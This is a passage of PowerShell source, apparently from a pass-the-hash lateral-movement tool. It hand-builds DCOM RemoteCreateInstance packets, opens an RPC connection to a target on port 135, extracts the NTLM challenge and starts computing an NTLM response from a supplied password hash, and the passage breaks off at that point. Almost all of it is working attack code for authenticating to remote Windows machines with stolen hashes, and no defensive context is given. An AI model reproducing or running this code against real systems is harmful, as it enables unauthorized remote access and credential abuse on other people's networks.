$packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderPrivateHeader",[Byte[]](0xb0,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderTotalSize",$packet_total_size) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCustomHeaderSize",[Byte[]](0xc0,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderReserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesDestinationContext",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesNumActivationPropertyStructs",[Byte[]](0x06,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsInfoClsid",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesNULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrMaxCount",[Byte[]](0x06,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid",[Byte[]](0xb9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid2",[Byte[]](0xab,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid3",[Byte[]](0xa5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid4",[Byte[]](0xa6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid5",[Byte[]](0xa4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid6",[Byte[]](0xaa,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrMaxCount",[Byte[]](0x06,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize",[Byte[]](0x68,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize2",[Byte[]](0x58,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize3",[Byte[]](0x90,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize4",$packet_property_data_size) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize5",[Byte[]](0x20,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize6",[Byte[]](0x30,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPrivateHeader",[Byte[]](0x58,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesSessionID",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesRemoteThisSessionID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesClientImpersonating",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionIDPresent",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesDefaultAuthnLevel",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionGuid",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesProcessRequestFlags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesOriginalClassContext",[Byte[]](0x14,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesFlags",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesReserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoPrivateHeader",[Byte[]](0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiatedObjectClsId",[Byte[]](0x5e,0xf0,0xc3,0x8b,0x6b,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoClassContext",[Byte[]](0x14,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoActivationFlags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoFlagsSurrogate",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInterfaceIdCount",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiationFlag",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtr",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationEntirePropertySize",[Byte[]](0x58,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMajor",[Byte[]](0x05,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMinor",[Byte[]](0x07,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtrMaxCount",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIds",[Byte[]](0x18,0xad,0x09,0xf3,0x6a,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoPrivateHeader",[Byte[]](0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientOk",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextUnknown",[Byte[]](0x60,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextCntData",[Byte[]](0x60,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFSignature",[Byte[]](0x4d,0x45,0x4f,0x57)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFFlags",[Byte[]](0x04,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFIID",[Byte[]](0xc0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCLSID",[Byte[]](0x3b,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCBExtension",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFSize",[Byte[]](0x30,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoUnusedBuffer",[Byte[]](0x01,0x00,0x01,0x00,0x63,0x2c,0x80,0x2a,0xa5,0xd2,0xaf,0xdd,0x4d,0xc4,0xbb,0x37,0x4d,0x37,0x76,0xd7,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoPrivateHeader",$packet_private_header) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoAuthenticationFlags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameMaxCount",$packet_target_length) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameActualCount",$packet_target_length) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameString",$packet_target_unicode) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoPrivateHeader",[Byte[]](0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoProcessID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoApartmentID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoContextID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoPrivateHeader",[Byte[]](0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestClientImpersonationLevel",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestNumProtocolSequences",[Byte[]](0x01,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestUnknown",[Byte[]](0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrMaxCount",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrProtocolSeq",[Byte[]](0x07,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_DCOMRemoteCreateInstance +} + +function DataLength2 +{ + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + + return $string_length +} + +if($hash -like "*:*") +{ + $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) +} + +if($Domain) +{ + $output_username = $Domain + "\" + $Username +} +else +{ + $output_username = $Username +} + +if($Target -eq 'localhost') +{ + $Target = "127.0.0.1" +} + +try +{ + $target_type = [IPAddress]$Target + $target_short = $target_long = $Target +} +catch +{ + $target_long = $Target + + if($Target -like "*.*") + { + $target_short_index = $Target.IndexOf(".") + $target_short = $Target.Substring(0,$target_short_index) + } + else + { + $target_short = $Target + } + +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) +$process_ID = $process_ID -replace "-00-00","" +[Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} +Write-Verbose "Connecting to $Target`:135" +$WMI_client_init = New-Object System.Net.Sockets.TCPClient +$WMI_client_init.Client.ReceiveTimeout = 30000 + +try +{ + $WMI_client_init.Connect($Target,"135") +} +catch +{ + Write-Output "$Target did not respond" +} + +if($WMI_client_init.Connected) +{ + $WMI_client_stream_init = $WMI_client_init.GetStream() + $WMI_client_receive = New-Object System.Byte[] 2048 + $RPC_UUID = 0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a + $packet_RPC = Get-PacketRPCBind 2 0xd0,0x16 0x02 0x00,0x00 $RPC_UUID 0x00,0x00 + $packet_RPC["RPCBind_FragLength"] = 0x74,0x00 + $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC + $WMI_client_send = $RPC + $WMI_client_stream_init.Write($WMI_client_send,0,$WMI_client_send.Length) > $null + $WMI_client_stream_init.Flush() + $WMI_client_stream_init.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null + $assoc_group = $WMI_client_receive[20..23] + $packet_RPC = Get-PacketRPCRequest 0x03 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x05,0x00 + $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC + $WMI_client_send = $RPC + $WMI_client_stream_init.Write($WMI_client_send,0,$WMI_client_send.Length) > $null + $WMI_client_stream_init.Flush() + $WMI_client_stream_init.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null + $WMI_hostname_unicode = $WMI_client_receive[42..$WMI_client_receive.Length] + $WMI_hostname = [System.BitConverter]::ToString($WMI_hostname_unicode) + $WMI_hostname_index = $WMI_hostname.IndexOf("-00-00-00") + $WMI_hostname = $WMI_hostname.SubString(0,$WMI_hostname_index) + $WMI_hostname = $WMI_hostname -replace "-00","" + $WMI_hostname = $WMI_hostname.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $WMI_hostname = New-Object System.String ($WMI_hostname,0,$WMI_hostname.Length) + + if($target_short -cne $WMI_hostname) + { + Write-Verbose "WMI reports target hostname as $WMI_hostname" + $target_short = $WMI_hostname + } + + $WMI_client_init.Close() + $WMI_client_stream_init.Close() + $WMI_client = New-Object System.Net.Sockets.TCPClient + $WMI_client.Client.ReceiveTimeout = 30000 + + try + { + $WMI_client.Connect($target_long,"135") + } + catch + { + Write-Output "$target_long did not respond" + } + + if($WMI_client.Connected) + { + $WMI_client_stream = $WMI_client.GetStream() + $RPC_UUID = 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 + $packet_RPC = Get-PacketRPCBind 3 0xd0,0x16 0x01 0x01,0x00 $RPC_UUID 0x00,0x00 + $packet_RPC["RPCBind_FragLength"] = 0x78,0x00 + $packet_RPC["RPCBind_AuthLength"] = 0x28,0x00 + $packet_RPC["RPCBind_NegotiateFlags"] = 0x07,0x82,0x08,0xa2 + $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC + $WMI_client_send = $RPC + $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null + $WMI_client_stream.Flush() + $WMI_client_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null + $assoc_group = $WMI_client_receive[20..23] + $WMI_NTLMSSP = [System.BitConverter]::ToString($WMI_client_receive) + $WMI_NTLMSSP = $WMI_NTLMSSP -replace "-","" + $WMI_NTLMSSP_index = $WMI_NTLMSSP.IndexOf("4E544C4D53535000") + $WMI_NTLMSSP_bytes_index = $WMI_NTLMSSP_index / 2 + $WMI_domain_length = DataLength2 ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive + $WMI_target_length = DataLength2 ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive + $WMI_session_ID = $WMI_client_receive[44..51] + $WMI_NTLM_challenge = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 24)..($WMI_NTLMSSP_bytes_index + 31)] + $WMI_target_details = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 56 + $WMI_domain_length)..($WMI_NTLMSSP_bytes_index + 55 + $WMI_domain_length + $WMI_target_length)] + $WMI_target_time_bytes = $WMI_target_details[($WMI_target_details.Length - 12)..($WMI_target_details.Length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (get-childitem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain = $Domain + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_domain) + $auth_username_bytes = 